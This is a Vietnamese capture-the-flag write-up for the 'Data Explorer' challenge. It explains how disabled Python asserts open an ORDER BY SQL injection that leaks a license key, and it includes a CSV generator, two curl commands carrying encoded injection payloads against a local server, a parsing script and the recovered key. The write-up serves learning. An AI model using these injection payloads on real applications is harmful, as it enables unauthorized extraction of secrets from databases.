Data Explorer
Date: July 4, 2023 1:00 PM (EDT)
Date: July 4, 2023 1:00 PM (EDT) Status: Not started
Summary
💡 SQL injection, use ORDER BY.
Description
- Bài này mình không làm được khi giải đang diễn ra. Sau khi giải kết thúc mình đọc writeup và lưu lại theo cách hiểu của mình.
Analyst
- Đầu tiên đọc source code có thể thấy ngay lỗ hổng SQLi, tuy nhiên bị strict filter nên việc tấn công SQL là không thể.
- Tuy nhiên, nếu đọc file
run.shsẽ thấy có PYTHONOPTIMIZE=1.

- Đọc qua thì có thể hiểu giá trị này sẽ disable
asserttrong Python.

- Từ đấy ta có ý tưởng tấn công hàm
filter_ordermà không cầnASC/DESC. - Ý tưởng chính là dùng
ORDER BYtrên 1 cột phụ để xác định ký tự, và trên 1 cột khác để xác định vị trí trong key của license.-
Ví dụ: key là
abc. -
Ta có table:
aaa pos a 1 a 2 a 3 a 4 a 5 a 6 -
Ta
ORDER BY substr('abc' || key, 1), pos→ mỗi giá trị sẽ được gán theo bảng chữ cái + key:aaa pos addition col a 1 a a 2 b a 3 c a 4 a a 5 b a 6 c -
Sau đó nó sẽ được sort theo
addition col, rồi sort theopos→ ta có các ký tự tương ứng theo từng vị trí:aaa pos addition col a 1 a a 4 a a 2 b a 5 b a 3 c a 6 c
-
Exploit
- Để nhận biết được ký tự nào khi sort ta sẽ cần thêm các row
0-9+a-f→ do đó file create sẽ có128 + 16 = 144row. - Generate
exploit.txt:
with open("exploit.txt", "w+") as f:
f.write("aaa,pos\n")
for i in range(1,145):
f.write(f"a,{i}\n")
- Tối đa 1 query sẽ có 200 row, mà key là 256 ký tự. Ta cần thực hiện 2 query để lấy hết key. Tuy nhiên khi create bảng sẽ bị redirect và mất 1 query nên ta sẽ dùng
curlđể không bị redirect.
💡 curl 'http://0.0.0.0:8000/view/686220e0-6aa2-47d2-849d-7cbc2b05799e' --data-raw 'order-col=aaa&order-od=%2C+%28select+substr%28%270123456789abcdef%27+%7C%7C+substr%28key%2C%201%29%2C+pos%2C+1%29+from+license%29%2C+pos' > x.in
💡 curl 'http://0.0.0.0:8000/view/5e8196d3-36e2-405f-bc99-23976cb97845' --data-raw 'order-col=aaa&order-od=%2C+%28select+substr%28%270123456789abcdef%27+%7C%7C+substr%28key%2C%20129%29%2C+pos%2C+1%29+from+license%29%2C+pos' > x.in
- Code để lấy key. Vì sort theo ký tự trước, sau đó mới đến số thứ tự, nên cần cách nhận biết ký tự nào với ký tự nào. Vì vậy ta sẽ up lên file 144 row thêm 16 ký tự để làm mốc. Dò theo từng mốc là xác định được từng ký tự.
import re
data = open('x.in', 'r').read()
pattern = r'<td>(\d+)</td>'
test = matches = re.findall(pattern, data)
poss = [int(x) for x in test]
abc = '0123456789abcdef'
print(len(abc))
index = 0
d = ['x']*128
print(d)
for pos in poss:
print(index, pos)
if index+1 == pos and index<=15:
index += 1
else:
d[pos-17] = abc[index-1]
print("".join(d))
#key: 36d35d32d1c43cfc1d3342d5992f0a9f6b1d32325fc9fb4c640c97ab81ad0b4df8b3232a37aa2aef5d04e501466fa04760fc3b2abf1a076215f8653bf830b568de0c7f103c05c23ca88ef88fb72eeb589ca824c428423a0c1dafffc87cd2d1621d8fcab51a376c9d97cb2016efa034d9ee9cc3f510652ab85ecf20816e0c5453
# 36d35d32d1c43cfc1d3342d5992f0a9f6b1d32325fc9fb4c640c97ab81ad0b4df8b3232a37aa2aef5d04e501466fa04760fc3b2abf1a076215f8653bf830b568de0c7f103c05c23ca88ef88fb72eeb589ca824c428423a0c1dafffc87cd2d1621d8fcab51a376c9d97cb2016efa034d9ee9cc3f510652ab85ecf20816e0c5453